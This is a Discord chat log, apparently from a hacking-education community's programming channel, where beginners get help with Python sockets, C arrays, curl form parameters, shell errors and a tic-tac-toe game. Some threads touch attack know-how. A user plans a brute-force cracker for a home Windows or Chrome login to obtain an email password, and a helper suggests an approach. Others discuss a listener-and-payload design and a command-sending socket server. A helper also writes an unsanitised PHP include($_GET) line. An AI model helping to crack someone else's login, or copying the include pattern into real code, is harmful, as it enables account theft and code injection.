#programming

1 messages · Page 36 of 1

crystal light
#

There are some youtube videos on this exact subject

#

heres a short video with some refrences

main sinew
#

thanks, I don't really so much about the audio I am mostly interested in the video.

crystal light
bright quail
#

hey guys, does anyone know how to fix this error that am getting when I try to use nodejs/npm (on arch linux)
node: error while loading shared libraries: libicui18n.so.71: cannot open shared object file: No such file or directory

#

nope I didn't I'll try to do that now and i'll inform you if it works, thx btw

#

wow it worked tysm

lilac holly
#

What is the syntax to ping 10.10.10.10?

magic falcon
#

ping 10.10.10.10

rustic skiff
#

hi guys, i hope all doing great. I need an off-line library which function like a basic search engine. Can be updated manually or better automatically syncronized with defined web site, sites. Which language should i work on for this project??

magic falcon
#

You need to define your requirements better. You are expecting an off-line library to search websites?

rustic skiff
#

I am trying to create my own law archive. By saying update from websites, i meant to up to date legislations etc.

onyx merlin
lilac holly
rustic skiff
#

What it takes from me, is it worth it

lilac holly
#

(In the literal sense of course. Really. Not a good idea to expose the app to 0.0.0.0/0)

rustic skiff
#

I will use it just for personal perposes

rustic skiff
magic falcon
#

The only way to know if a product is worth anything is to actually make it. You don't know if the wheel is square until you finish a design and implement it.

lilac holly
rustic skiff
#

How people implement AI with coding

#

Machine learning might be the term i was looking for😄

lilac holly
#

You could you could. When it comes to the "search" part of your app, that's where AI would fit.

#

You're far better off implementing something made by someone else with a library because doing that from scratch....you need to understand some specific math topics...adding more time to the equation.

magic falcon
#

ML doesn't really do search. You could use ML to classify a bunch of the input data, but search is a different branch of AI.

lilac holly
#

(And tbf...I don't think you are going to finish the project if you are doing it alone)

lilac holly
rustic skiff
#

Thank you for your guidance, may the force be with you

queen jolt
#

Something like this if Im not wrong

silk hemlock
#

any tips on how to make python wait for netcat to connect? I need it to wait for a prompt, input some data, read the output and close the connection. I've tried pexpect but it doesn't seem to work

onyx merlin
silk hemlock
queen salmon
#

i hope somebody can help me here:
i have got a ciphertext and parts of the key.
I want to xor a part of the ciphertext with the key, then shift the position xor again. and at each step i wanna see if it is decodable to ascii, and print it.
i am using python and so far i am fighting with ValueErrors 😄

So basically i want to find the position, where i can start xor the key with the whole ciphertext. The key is also much much longer than the ciphertext. I hope it makes sense

true pumice
#

DM me your current code please @queen salmon

surreal lotus
#

I want any man work on assembly?

queen salmon
lilac holly
#

hey guys while i was coding in python i came across to a weird thing. Whenever i store input in variables, without even using the print() they get executed

rustic skiff
wispy kestrelBOT
#

Gave +1 Rep to @queen jolt

halcyon sphinx
onyx merlin
halcyon sphinx
lilac holly
halcyon sphinx
# lilac holly

Do once with print and without print, hopefully it will clear your doubts

onyx merlin
lilac holly
#

now i am using pycharm

#

on vscode it does weird things

#

but it is more likely that i am wrong

halcyon sphinx
#

See you are running and writing different script

lilac holly
#

I resolved the problem

#

it is called

#

BRAIN FOG

surreal lotus
#

هل هنا أحد يتحدث اللغة العربية؟

rich rose
#

لا

#

but I am learning the alphabet on duolingo :p

magic falcon
surreal lotus
# rich rose لا

فقط وجدت الجميع يتحدث الانجليزية فأحببت التحدث بالعربية. أحاول أنا اجمع الاصدقاء

surreal lotus
# rich rose لا

سعيداً بك وأستطيع مساعدتك في تعلم اللغة العربية

rich rose
rich rose
wispy kestrelBOT
#

Gave +1 Rep to @surreal lotus

surreal lotus
rich rose
#

wow, Chinese too. That’s tough as well. mad respect.

#

I gotta go afk, but it was nice meeting you. Welcome to THM 🙂

surreal lotus
wispy kestrelBOT
#

Gave +1 Rep to @rich rose

magic falcon
magic falcon
real iron
onyx merlin
#

Look at line 13

tropic minnow
real iron
wispy kestrelBOT
#

Gave +1 Rep to @tropic minnow

noble quarry
#

guys! i used the Grep command incorrectly lol how do i put it back?

whole yacht
#

what do you mean by that? Did you remove the binary by accident?

brazen eagle
noble quarry
blazing maple
#

!docs verify

narrow terraceBOT
lusty marten
#

!notifyme

narrow terraceBOT
#

Ok @lusty marten, you will now be notified of future announcements.

faint sparrow
#

PK... seems like a zip file lol

lilac holly
#

spam n

faint sparrow
#

really?

#

@onyx merlin

tame ridge
#

Anyone good with mips programming?

late folio
#

Hello everyone !
I would like to reverse engineering a java app, Do you have some software recommandation to do ?
I found javasnoop but it seems old

simple mist
#

I have been in c/c++ journey who else 🙂

#

and assembly as well

crude stirrup
#

Looking to learn another language. I know python but there is multiple languages that are useful in this field. But what would be one I should learn that would be useful overall?

drifting comet
#

if i have a listener and a payload in python using socket and ssl should i pack the ssl certificate into a variable to use it when its executed on a machine or should the client request the certificate and if the second how does the server detect that the client doesnt wants to further communicate and only get the certificate to connect with it again? should the server just try to send a test message and if a exception is raised it will understand that the client disconnected?

late folio
brazen eagle
#

Didn't know it did java

sleek inlet
#

thanks! i found a better method though, os.execlp works perfectly!

drifting sandal
#

i'm kinda new to the field just off highschool

#

which major should i do guys?

lilac holly
#

Good afternoon y'all, I'm pretty new to programming and I'd like to know where I should start. Any tips?

inland hazel
#

depends a bit on how you like to learn things.... there are lots of websites to learn programming from... for example codewars and freecodecamp and codeacademy or the less hands on projecteuler

#

or you could check videos on youtube to learn

lilac holly
#

thank you sm!

inland hazel
#

no problem

#

the pins in this channel might help too... or some of the pinned messages in #resources

lilac holly
#

okie dokie

#

I'll check them out

#

thanks again

tepid sequoia
#

just instead of vuln + cve load it with law databases (if they are indexable if not scrape the links into a md file, git hub it and ad your git to the custom search engine

lilac holly
#

good evening peeps, I was wondering where I could execute a series of code (javascript to be exact) and idk how, pls help

#

thank you very much!

hearty apex
#

!notifyme

narrow terraceBOT
#

Ok @hearty apex, you will now be notified of future announcements.

tropic brook
#

whats the problem?

oblique geyser
#

Mixed reality

blazing steeple
#

Can i get help with a Password match and validation assignment? i’m a junior high school student and just need a little guidance

onyx merlin
#

That's what they're there for

blazing steeple
#

he doesn’t help

#

believe me i’ve tried

brazen eagle
#

then they're a bad teacher

#

you should have course notes though

chilly imp
#

Hey guys, do u know a good site / tuto for learning to code ?

granite agate
#

Freecodecamp, codeacademy, sololearn, YouTube

sullen venture
chilly imp
#

Oh yes ! thanks guys

magic falcon
blazing steeple
#

like stated, i already did to no avail. i figured out a way to do it finally even though the code looks messy.

proven zealot
#

hi guys. When I create a new list by appending it to the empty list with a for loop at the top of the code, when I call the new list at the bottom of the code, it only calls the last element. How can I call all elements? pls help me

lilac holly
#

!notifyme

narrow terraceBOT
#

Ok @lilac holly, you will now be notified of future announcements.

halcyon sphinx
halcyon sphinx
proven zealot
#

for token in input_program_tokens:
if (re.findall(RE_Keywords, token)):
print(token, "-------> Keyword")
try:
if sys.argv[sayi % 2 == 1]: # Sadece tek indisleri keyword olarak alır.
pass
if (len(token) > 1):
print(f"Lütfen keywordden sonra boşluk bırakınız. Hatalı olan kısım -> {token} ")
sys.exit(1)
keywords = [] # THIS
for i in token:
keywords.append(i)

        except IndexError:
            print(f"Söz dizimi hatası -> {token}")
            sys.exit(1)
cobalt kelp
#

if I have a list 3 numbers in python and a function which takes 3 numbers as parameters, can I do something similar to function_call(nums[:]) instead of passing them inside one by one?

#

nvm got it

vernal vigil
#

Just pass the list and unpack the values?

stray pagoda
#

.

proven zealot
#

After defining a function in an if in python, can I call the function inside another if?

onyx merlin
untold iris
#

But yes you can

stray pagoda
#

hello guys

#

can anyone enlighten me regarding the curl command?

I found this command on the net.
curl -X POST <IP> -d 'method=GET&file=abc'
It is a HTTP post request. I wonder what method=GET does here. After all, with -d you append more data to your request. But I thought this is a POST request. Why does it say GET?

brazen eagle
#

-d will add stuff in the body of the request. Perhaps the service uses that parameter?

magic falcon
#

if you are unsure of how your curl command is actually rendered, you can set the curl proxy flag and argument to use burp to intercept it

onyx merlin
#

there's just a parameter called method that's set to GET

stray pagoda
#

kk thanks

onyx merlin
#

Like in the form element

#

If it says method="GET" then it's a get request.

#

It's not sent as part of the form data

stray pagoda
#

so the http request is POST, and the formular method ist GET. am i understanding this correctly?

stray pagoda
#

hmm

onyx merlin
#

That CURL command just adds a form parameter called method

#

It's unrelated to the HTTP method in use

magic falcon
#

Just intercept your curl command in burp. What James' is telling you will become immediately apparent and visible.

stray pagoda
stray pagoda
onyx merlin
#

That's not what I'm saying

#

Do you understand how form data is sent?

#

Specifically url encoded form data?

stray pagoda
#

ok, sorry i'm a bit stumped 😄

stray pagoda
onyx merlin
#

There's your problem then

#

-d 'method=GET&file=abc' could be changed to -d 'method=BUTTSlol&file=abc'

#

It's just a parameter sent as part of the form data

stray pagoda
#

querystrings right?

onyx merlin
#

URL encoded form data is basically the same as query strings, but it depends where it goes in the request

stray pagoda
onyx merlin
#

Yeah, because it's understanding the form data

#

It's not related at all to the HTTP method

stray pagoda
#

I think I'm beginning to understand.

#

if there were no formular, HTTP Post would not make sense in this case, correct? And the parameter 'method' would not be recognized either (unless the server was implemented to recognize this parameter).

onyx merlin
#

You can make a HTTP post request without form data.

stray pagoda
#

I can let the server recognize any parameter, e.g. 'foo'. Just have to implement it.

PHP
include($__GET['foo']) or something like that

stray pagoda
#

I'm still relatively new to this. But thanks for the help. That brings me a lot!

stable summit
#

Hello, i am very new to coding and have only taken a few rudimentary classes, and most of what i know (which is not a lot) has been self taught. I am trying to code a brute force password cracker and i am fairly certain i can do it, i just need to find out how to make the program run right when the computer is turned on. I am not planing on using this code maliciously i just want to see if i can do it.

stray pagoda
#

which language are you using?

stable summit
#

I am using Python.

stray pagoda
#

what are u trying to bf?

#

which pw

stable summit
#

Sorry i am unfamiliar with pw

stray pagoda
#

pw = password

#

which passwords do you want to crack

stable summit
#

my home computers

stray pagoda
#

login credentials of windows/linux? Password protected folders?

stable summit
#

login of windows

#

i just want to get the password i’m putting in the email

#

or Chrome if that is easier

stray pagoda
#

I think at the very beginning you can build a general bruteforce tool without a concrete target. A permutation from all given characters + the possibility to specify word lists.

#

then if you want to test it against a target, you can create password-protected ZIP folders and apply your tool.

stable summit
#

how would i add a target i think i know how to make it without a target but how would i apply one?

stray pagoda
#

That would be the next task I think.

#

one thing at a time 😄 my humble advice.

stable summit
#

well the code for that in python is not that hard and i already picture it in my head

#

but thanks i will come back when i write the beginning of the code

onyx merlin
tame ridge
#

Anyone good with x86 assembly language?

stray pagoda
tardy nexus
#

Here I was naively believing it was a link to a resource on the subject. It was a resource to A subject just not the one I assumed it was. Lol

minor pier
#

Hello, is there anyone here familiar with msys2?

minor pier
onyx merlin
# minor pier What?

Don't ask if anyone is familiar with tech xyz, ask the actual question you want to know the answer to and ask it directly

minor pier
#

I was using mingw-w64-x86_64-arm-none-eabi-gdb before but that one seems to close immediately and gave me problems debugging the target. I'm not sure if this is an old package? The mingw-w64-x86_64-gdb-multiarch does seem to work.

brazen eagle
#

Might need a bit more context there

short lily
#

for o, a in opts:
#someone please explain me this for loop its in python?

#

Specially that o,a means?

halcyon sphinx
halcyon sphinx
true pumice
#

It all depends what opts is in that situation

true pumice
# short lily for o, a in opts: #someone please explain me this for loop its in python?

For example:

for k,v in dict:
This is used a lot, k stands for key and v stands for value.

Dictionaries (dict) uses key, value pairs to store the data.

Look at it this way:
dict = {“key”: “value”}

If you were to loop over it as
for data in dictionary:
It would return the data pair of key:value

But, we use dictionaries to store data so that we can match a value to a key so sometimes we want those values separately to manipulate or for comparison.

We would do it like this:
car_wheels = {“wheels”: 4}

for key, value in car_wheels:
if value == 4:
print(“this car has four wheels!”)

short lily
true pumice
#

You’re very much welcome!

short lily
#

@halcyon sphinx thnks bro

#

@true pumice oh u work for thm

true pumice
#

I do, yes

short lily
#

So what you do can u share your experience?

true pumice
#

I’m simply customer/ technical support:)

short lily
#

Ok great

#

So u work remotely

#

?

true pumice
#

Everyone in the company works remotely

#

Virtual offices™️

short lily
#

That's great

#

So how do you join them

#

?

true pumice
#

Well, I was hired through building my reputation from helping in the community (and an interview of course), but you can check out our jobs on our LinkedIn page:)

short lily
#

Ok can u share that page link please

true pumice
#

Hmm I think we have a script

#

!linkedin

#

!socials

short lily
#

Mm aaaa what does that mean script?

true pumice
#

Here you go

short lily
#

Thnks sir@true pumice

#

Can someone please tell me how can I create a new .zshrc file I deleted it accidentally😅

#

Or share ther .zshrc file

winged magnet
#

does anyone have work visual studio on this error : freeglut (C:\Users{username}\source\repos\dda-aglo\Release\dda-aglo.exe): ERROR: No display callback registered for window 1

brazen eagle
ruby knot
#

I'm a competitive programmer. Software development isn't my goal.
I've solved only 400 problems at codeforces.com and know around 100 algorithms only. I have CCNA preparation.
I need to know in which field I can implement my programming and networking knowledge together.
What can I do in ethical hacking if I acquire advanced knowledge in programming?

short lily
#

@brazen eagle and what about tge inside contents?

brazen eagle
#

most of mine was generated by oh-my-zsh tbh

inner scaffold
#

struct name_1
{
member1;
member2;
.
.
membern;

struct name_2
{
member_1;
member_2;
.
.
member_n;
}, var1
} var2;

Do anyone of you know, what is the benifit of using a nested structure in c a program, i can really think of any benfit... You can just define the whole thing in a single structure why would you nest it?

short lily
#

@vast parcel I'm using a parrotOS and it's in dual boot

brazen eagle
#

Does it now?

brazen eagle
#

If you had a point on a line for example, would you want to mix the point coordinates with the line parameters?

radiant finch
#

hello guys Is there anybody who knows Java. I have a final exam and need help

onyx merlin
brazen eagle
#

Good luck with your exam

flint sedge
#

Hi. I'm trying to build a chat using Python, I'm trying to have one thread for sending messages and one thread for receiving messages but messages dont seem to go through

server.py:


from socket import *
import threading

server = socket(AF_INET, SOCK_STREAM)
server.bind(("", 4444))
server.listen(5)


def acceptmessages():
    while True:
        data = client.recv(2048).decode()
        print(data)

def sendmessages():
    while True:
        msg = input("Enter message > ").encode()
        client.sendall(msg)

client, addr = server.accept()
print("New connection from Address: {0}".format(addr))

threading.Thread(target=sendmessages(), args=())
threading.Thread(target=acceptmessages(),args=())

client.py:

from socket import *
import threading

client = socket(AF_INET, SOCK_STREAM)
client.connect(("10.0.0.5", 4444))


def acceptmessages():
    while True:
        data = client.recv(2048).decode()
        print(data)

def sendmessages():
    while True:
        msg = input("Enter message > ").encode()
        client.sendall(msg)

threading.Thread(target=sendmessages(), args=())
threading.Thread(target=acceptmessages(),args=())
true pumice
flint sedge
#

Had a small error where I had to Google and I saw I wrote server.connect() instead of server.accept()

#

I wrote this code after a lesson about sockets and threads

flint sedge
#

nobody? fawaz

faint sparrow
#

@flint sedge your problem is that you're calling the functions when you should be passing just the function as the thread target:

threading.Thread(target=sendmessages(), args=()) # this first calls sendmessages() and waits for it to return a value which will then be passed into Thread

threading.Thread(target=sendmessages, args=()) # this passes sendmessages itself as a target so the thread can run that function separately

threading.Thread(target=sendmessages) # args=() is redundant as by default it doesn't pass any arguments anyway

another problem is you're just instantiating the threads but not starting them: ```py
threading.Thread(target=sendmessages) # This just creates a thread instance, but it's not actually running

t = threading.Thread(target=sendmessages)
t.start() # This starts the thread

flint sedge
#

Oh I actually tried moving the functions without the parenthesis but it also didnt work since I start the threads

#

it works, thanks!

#

Although, how come it prompted me to enter a message despite not starting that thread?

onyx merlin
#

Because you called the function

#

So instead of using the function itself, it was calling the function and using the return value as the target for the thread

flint sedge
#

Oh, so I called the function from inside the thread argument, making the program stuck in an infinite loop of sendmessage's while loop, on the main thread.

#

Got it, Thanks!

tepid mica
#

Hello, All

#

Hello. All I have a quick question. I am building my resume web page and I putting LinkedIn on my page. Every time I click on it it takes me to my own home page. I have signed out of everything and is still doing it. It is problem something simple. Any suggestions.

raven hill
#

Did you try a different browser or an incognito window

tepid mica
#

Yes, I have tried a different browser but I have not try incognito window. Let me try that.

raven hill
#

Well, I just tried it myself with my profile URL and when I try on a different browser I just get the LinkedIn login page telling me I have to be logged in to see that

tepid mica
#

Ya I tried the incognito and that worked. I had forgot to check my other browser and I did not sign out. I use Firefox and Edge it worked. Thanks for your help.

#

I need to remember to sleep because missing little stuff like that is embarrassing. Thanks again.

lilac holly
true pumice
lilac holly
#

hahahahahahahahahahah

safe wind
true pumice
#

Can you copy and paste the code here in code blocks, please?

safe wind
#

Ya

true pumice
#

Place three ` at the top and bottom

safe wind
#
from time import sleep
PORT = 7778
HOST = 'localhost'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
data = str()
def do_connection_attempt():
    global s
    try:
        s.connect((HOST, PORT))
        s.send(b'CONNECTION ESTABLISHED')
        print('conected')
        return True
    except ConnectionRefusedError:
        print('CON refused')
        s.close()
        return False
while True:
    try:
        s.connect((HOST, PORT))
        s.send(b'CONNECTION ESTABLISHED')
        print('conected')
        break
    except ConnectionRefusedError:
        print('CON refused')
        s.close()
while True:
    data = s.recv(1024).decode('UTF_8')
    arg_to_check = data
    s.send(b"recived [  ok  ]")````
true pumice
#

Thank you:)

#

Do you have anything running on port 7778? @safe wind

safe wind
#

no

true pumice
#

Are you on Windows or Linux?

safe wind
#

macos

true pumice
#

Oh that's fine

#

Open your terminal and type python -m http.server 7778 and re-run the code

#

I think I know your issue

#

You close the connection a lot of times throughout, I'm pretty sure that it's related to you closing the connection, but then another part of the code is being hit, which is subsequently failing because the connection is closed

safe wind
#

look, if my server script is runing every thing is ok, but i want this script to try to conect then to retry

true pumice
#

Give me a moment to clean up your code to see if it is the problem:)

safe wind
#

like if host is down i want this script to keep going atempting to cennect

true pumice
#

@safe wind So, after taking a look, your code seems to have a lot of lines that aren't needed.
But, it does seem to be related to you closing the connection too early.

Instead of closing your connection as soon as it's refused, simply loop back around and try again.
Furthermore, you have two while True: statements, but only one of them is being executed because you cannot concurrently execute while statements (meaning one has to finish before the other one can start).

safe wind
#

if i do this

#
from time import sleep
PORT = 7733
HOST = 'localhost'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
while True:
    try:
        s.connect((HOST, PORT))
        s.send(b'hello')
        break
    except socket.error:
        pass
    sleep(1)
while True:
    data = s.recv(1024).decode('utf-8')
    print(data)
    s.send(b'[ OK ]')````
#

It still doesn’t seem to work

true pumice
#

Is there an error?

safe wind
#

No, but it’s not connecting to server script

#

HOST = ''
PORT = 7733

s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
try:
    s.bind((HOST, PORT))
    print('[ lisening ]')
    s.listen(10)
    conn, addr = s.accept()
    print(f'{addr} was cached!')
    data = conn.recv(1024).decode('UTF-8')
    while True:
        command = input('send>')
        conn.send(bytes(command, 'UTF-8'))
        data = conn.recv(1024).decode('UTF-8')
        print(data)

except KeyboardInterrupt: 
    print("...listener terminated using [ctrl+c], Shutting down!")
    exit() # Using [ctrl+c] will terminate the listener.
    
conn.close() # Close socket.````
true pumice
#

You haven't specified a host there?

safe wind
#

It means bind all interfaces

#

Like 0.0.0.0

safe wind
#

its ok , now it works

plain crest
#

could use some help with python if anyone is willing to assist 😄

magic falcon
#

If you have a question, it's best to just ask it

raven hill
real iron
#

does anybody know C

#

@true pumice #include <stdio.h>
#include <cs50.h>

int main(void)
{
int n = get_int("How many scores? ");

int scores[n];

for (int i = 0; i < n; i++)
{
    scores[i] = get_int("Score: ");
}

double average = (scores[0] + scores[1] + scores[2]) / 3.0;

printf("Average: %f\n", average);

}

#

i was just wondering how to finish this in this line double average = (scores[0] + scores[1] + scores[2]) / 3.0;

true pumice
#

Not sure I understand what you mean 😅

real iron
#

double average = (scores[i]) / n; i tried this and it dont work so i was just asking is there a way to add arrays together without doing it like this

#

scores[0] + scores[1] + scores[2]

spice root
#

I'm try to get a PID from an Process Name on aWindows device but I keep getting 0 :/

#

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>

DWORD find_process(char* process_name) {

PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

for (Process32First(snapshot, &pe); Process32Next(snapshot, &pe);) {
    if (strcmp(pe.szExeFile, process_name) == 0) {
        CloseHandle(snapshot);
        return pe.th32ProcessID;
    }
}

CloseHandle(snapshot);
return 0;

}

int _tmain(int argc, _TCHAR* argv[]) {
DWORD target_process_id = find_process("mspaint.exe");
printf("target process id is %d\n", target_process_id);
return 0;
}

#

please answer it only in C

true pumice
real iron
#

but prompting the user on how many scores and storing it into an array

true pumice
# real iron yes
#include <stdio.h>
int main() {
    int n, i;
    float num[100], sum = 0.0, average;

    printf("How many scores? ");
    scanf("%d", &n);

    for (i = 0; i < n; ++i) {
        printf("%d. Enter number: ", i + 1);
        scanf("%f", &num[i]);
        sum += num[i];
    }

    average = sum / n;
    printf("Average = %.2f", average);
    return 0;
}

Something like that?

real iron
#

and then adding them together and dividing by how many scores they input

real iron
#

in the question marks is the issue

true pumice
#

Do you need it in an array?

real iron
#

for example if they input 4 scores how would you add the arrays together

onyx merlin
#

Convert it to a float first

onyx merlin
#

It's the same way you'd do it in Python etc too

true pumice
#

But, can I ask, do you need to do it in an array?
Are you going to use it for something else?

onyx merlin
#

Should definitely be an array rather than like "score1=10"

true pumice
#

Just seems really weird to me to save the scores to an array to then find the average

#

But maybe that's just how I'm hardcoded to write code

real iron
#

because he said for example you dont want to make 100 variables for score1 score2 ..

onyx merlin
#

If you wanted the median or mode, you'd need them in arrays

real iron
#

#include <stdio.h>
#include <cs50.h>

int main(void)
{
int scores[3];

scores[0] = get_int("Score 1: ");
scores[1] = get_int("Score 2: ");
scores[2] = get_int("Score 3: ");

double average = (scores[0] + scores[1] + scores[2]) / 3.0;

printf("Average: %f\n", average);

}

onyx merlin
#

Gross

#

That's nasty code

real iron
#

im trying to do it like this but it isnt working

#

#include <stdio.h>
#include <cs50.h>

int main(void)
{
int n = get_int("How many scores? ");

int scores[n];

for (int i = 0; i < n; i++)
{
    scores[i] = get_int("Score: ");
}

double average = (scores[i]) / n;

printf("Average: %f\n", average);

}

onyx merlin
#

There's a principle called DRY - Don't repeat yourself.
The way you're assigning the scores is nasty and repetitive

#

That is slightly better.
What's not working?

real iron
#

double average = (scores[i]) / n; <---------- this line isnt working

onyx merlin
#

"not working" is incredibly vague and doesn't help us

real iron
#

im trying to replace this double average = (scores[0] + scores[1] + scores[2]) / 3.0;

onyx merlin
#

Tell us what's happening, why you think it's not working, what do you expect and how is it differing from that expectation

#

Are you getting an error? A wrong number?

onyx merlin
real iron
#

arrays.c:15:30: error: use of undeclared identifier 'i'
double average = (scores[i]) / n;
^
1 error generated.

onyx merlin
#

You need to total up all the items in the array, them divide

onyx merlin
real iron
onyx merlin
#

Then you have a problem

#

You can't access your counter variable, i, outside your for loop.
Even if you could, you'd just get the last value in the list which would give you a wildly incorrect value.

real iron
#

oh yes i understand that

#

a for loop has the variable stored inside the curly braces so you cant use it again later

#

sorry i mean a for loop

onyx merlin
#

This is a for loop.

#

Variable scope is very important to understand

real iron
#

but what i was asking is how can you add the arrays together with a loop

onyx merlin
#

Have you learnt about problem decomposition yet? Breaking a problem down into smaller parts?

#

You don't want to add multiple arrays together because you don't have multiple arrays.
You just want to loop through the array and add values to a total.
You can very easily either work out how to do that, or google it.

real iron
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

onyx merlin
real iron
magic falcon
#

Honestly, you don't really need to any research on C to do this task. The parts of the C language you'd need are all very introductory; if you want a better solution, or if your solution isn't working, you aren't thinking deeply enough about the problem you are solving. Work out your approach on paper first; that way, you are only solving 1 thing at a time.

onyx merlin
magic falcon
#

Especially when learning a new programming language, minimizing the mental burden of 'solve problem' and 'do it in this language' is important. You are learning a language; solve the problem first, then figure out how to represent your solution in code.

onyx merlin
#

Learning to break down problems into smaller parts is a really really good skill that will help you in many places in life

real iron
#

okay thanks for the tips and advice

real iron
#

#include <stdio.h>
#include <cs50.h>

int main(void)
{

int n = get_int("How many scores? ");

int scores[n], sum = 0;

for (int i = 0; i < n; i++)
{
    scores[i] = get_int("Score: ");
    sum = sum + scores[i];
}

double average = sum / n;

printf("Average: %.2f\n", average);

}

#

figured it out thanks

#

just had to make a new variable and add the arrays to it inside the loop simple as that

onyx merlin
inland bronze
#

Python

bold bobcat
#

hey plz teach me how to write java

inner nebula
inner nebula
#

is GOLANG good for a pentester

onyx merlin
#

It's a nice language, easy enough to write stuff in

plain crest
#

just starting out in python myself.. working on a project but im a bit stuck

#

having trouble getting it to print the year and letting the user know the month they get if a certain condition is met

idle vortex
lilac holly
#

hi i came here for the sake of triggering you 🙂

#

XML IS A BETTER PROGRAMMING LANGUAGE THAN HTML

#

AND PERL IS THE FUTURE

silk lotus
#

ok

#

Xml and html are markup languages

inland hazel
#

json obviously best programming language /joke

heavy rampart
inland hazel
brazen eagle
#

joke goes whoosh

shadow goblet
#

same program but different outputs ; the z shell doesn't want to give any output after registrant info while the terminal in pycharm working well

#

the code :

lilac holly
#

class Joke {
public static void main(String[] args) {
System.out.println("IT WAS JUST A JOKE BRAH!");
}
}

true pumice
#

os.system ?

shadow goblet
#

just library import its in python

true pumice
#

But which one? 😄

#

Or are you using the Python whois library?

#
import pythonwhois
whois = pythonwhois.get_whois(domain)
for key in whois.keys():
  print "%s : %s \n" %(key, whois[key])
shadow goblet
#

nah just import whois

true pumice
#

Yeah, that's the Python3 version

shadow goblet
#

hmm ok

true pumice
#

There's a few reasons as to why

shadow goblet
#

but i still didn't get how the z shell now showing the registrant info but the shell in pycharm is

true pumice
#

How are you executing the script in your shell?

shadow goblet
true pumice
#

One moment I'm reading the python3 documentation

shadow goblet
#

Hmm its weird does python3 version affects the library ?? cuz that's making the program to give different outputs

violet whale
#

Much faster and cooler than .format

shadow goblet
#

Hmmm ok coolguy

dusky adder
#

how do i code brain fuck?

true pumice
dusky adder
#

who thank

dusky adder
#

so i have a blood clot in my uper front cortez and die

onyx merlin
dusky adder
#

i know i really have know idea why is said that sorry, i just wana learn lot and lots of different ways to code

hard lion
#

First steps of my red team tradecraft training tool are done pepeKawaii

spare swan
#


r1 = [" ", " ", " "]
r2 = [" ", " ", " "]
r3 = [" ", " ", " "]


def clearConsole():
    os.system('cls' if os.name == 'nt' else 'clear')

def inputMove(player):
    while "no choice set":
        x = int(input(f"\n({player}) 1-9: ")) - 1
        if x <= 2:
            if r1[x] == " ":
                r1[x] = player
                break
            print("\nSelect valid position.")
        elif x <= 5:
            if r2[x-3] == " ":
                r2[x-3] = player
                break
            print("Select valid position.")
        elif x <= 8:
            if r3[x-6] == " ":
                r3[x-6] = player
                break
            print("Select valid position.")
        else:
            print("Position has to be less then 10.")

def printBoard():
    clearConsole()
    print("\n -------")
    for r in (r1, r2, r3):
        print(f" |{r[0]}|{r[1]}|{r[2]}|")
        print(" -------")

def checkBoardRow():
    for r in (r1, r2, r3):
        if all(x == r[0] for x in r) and r[0] != " ":
            printBoard()            
            print(f"{r[0]} won!")
            exit()

def checkBoardCol():
    at = 0
    for i in range(1, 3):
        if r1[at] == r2[at] == r3[at] == r1[at] != " ":
            printBoard()
            print(f"{r1[at]} won!")
            exit()
        at += 1

def checkBoardDiag():
    if r1[0] == r2[1] == r3[2] and r1[0] != " ":
        print(f"{r1[0]} won!")
        exit()
    if r1[2] == r2[1] == r3[0] and r1[2] != " ":
        printBoard()
        print(f"{r1[2]} won!")
        exit()

def checkBoard():
    checkBoardRow()
    checkBoardCol()
    checkBoardDiag()

def play():
    while True:
        printBoard()
        inputMove("X")
        printBoard()
        checkBoard()
        inputMove("O")
        checkBoard()


if __name__ == '__main__':
    play()```
My first ever tic tac toe game in python lol
stoic badger
#

Any tips to managing git and github related tasks between multiple accounts i.e. separating personal stuff from work stuff?

magic falcon
stoic badger
#

will look into it o7

magic falcon
#

Also look into using at ticketing/issue tracking system to keep track of the work. Tie-ins to JIRA, Trello, Bugzilla are really common.

true pumice
# spare swan ```import os r1 = [" ", " ", " "] r2 = [" ", " ", " "] r3 = [" ", " ", " "] ...

This is cool! But can I give you a little criticism?
Don't use Camel case on function names.

Camel case is where the first character of a word is lowercase and every word after it has a capital letter at the beginning; likeThisForExample

The only reason is for readability. If both functions and variables follow the same name, it will become a little harder to read. Especially when you delve into classes or embedding functions into lists:

def ExampleFunction():
  return "Hello World"

exampleList = [ExampleFunction]
exampleList[0]() # Should print "Hello World" in the shell

If you were to use camel case on everything, especially in large files, it would be hard to tell the difference when using high-level programming techniques:

def exampleFunction(name):
  return "Hello, " + name

exampleVariable = "Jacob"
exampleList = [exampleVariable, exampleFunction]

exampleList[0] # This should run without a problem
exampleList[1] # This will display "<function function_name at stack>" instead of the desired value
exampleList[1]("Jeremy") # This will run as expected

Although this is a poor example, I hope you understand why I'm suggesting it.
If you were to look at that list with normal variable names, it would be slightly confusing as most people would not expect there to be an executable function in the list.

spare swan
wispy kestrelBOT
#

Gave +1 Rep to @true pumice

spare swan
onyx merlin
#

It will look for things like this and complain at you

spare swan
magic falcon
# spare swan Thank you! I'm new, so criticism is always helpful. I agree with you that it cou...

Jabba's advice is good, but also stay aware that other languages have different standards for what is considered 'best practices' with respect to naming conventions, module organization, and codebase organization.
Some languages have historical reasons for the design decisions that don't necessarily apply any more, but some of the systems those languages are expected to interface with do have the legacy requirements still in place.

true pumice
#

Eh, yeah, as they were coding in Python I was only referring to Python, didn't think about the others.. whoops 😆

magic falcon
#

I got you 🙂 Intent was to clarify beyond python, especially since new programmers tend to make assumptions about similarity that aren't true

true pumice
#

Yeah, my brain is hard-coded for Python haha

magic falcon
#

Python is a super productive language to use; it's usually what I start any given project in until requirements evolve to a point where python isn't feasible anymore

#

IE, high amounts of compute, SIMD, or MIMD program architecture

spare swan
spare swan
#

I saw someone that said python was a bad language because it was "to easy" which I really don't get lmao

magic falcon
#

Python can be to easy, because there is a lot of things you are allowed to do in python that will make your programs non functional if you touch lower level languages

spare swan
#

In that case yes, but in the sense that its to easy to write or that it has a to easy syntax I don't think is valid in the context he was using, because good/"easy" syntax is positive if you're purely talking about how the language is written and not its features

#

I've heard that Rust has an easy to understand syntax yet it offers low level controls (could be wrong tho)

spare swan
#
    for row in allRows:
        if all(tile == row[0] for tile in row) and row[0] != " ":        <--------- This line gives me a RecursionError
            print_board()            
            print(f"{row[0]} won!")
